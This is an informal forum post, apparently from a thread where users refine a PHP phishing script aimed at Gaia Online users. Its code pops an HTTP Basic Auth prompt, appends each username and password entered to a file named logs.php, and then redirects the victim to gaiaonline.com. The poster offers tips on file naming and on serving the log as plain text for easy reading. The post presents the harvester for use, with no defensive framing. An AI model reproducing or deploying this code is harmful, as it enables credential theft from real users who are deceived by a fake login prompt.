I wouldn't useWhy would you change a file name which has a fairly obscure name to a really obvious name?
Side Note: I Personally recommend the account name be PHP.
Using Bman's example, I'll demonstrate what I mean.
PHP Code:
<?php
while($_SERVER['PHP_AUTH_USER'] == null || $_SERVER['PHP_AUTH_PW'] == null){
header('WWW-Authenticate: Basic realm="My Realm"');
header('HTTP/1.0 401 Unauthorized');
exit;
}
$Handle = fopen('logs.php', 'a');
fwrite($Handle, "{$_SERVER['PHP_AUTH_USER']}:");
fwrite($Handle, "{$_SERVER['PHP_AUTH_PW']}\n");
fclose($Handle);
header('Location: http://www.gaiaonline.com');
exit;
?>
In the logs.php file, I would use the following:
Also, what's the purpose of using @ before a function name?PHP Code:
<?php
header('Content-Type: text/plain');
?>
Also, why'd you leave .txt off accounts?
Edit: I thought you said accounts.txt instead of accounties. Sorry about that.
just leave it as a php fileCode:<?php header('Content-Type: text/plain'); ?>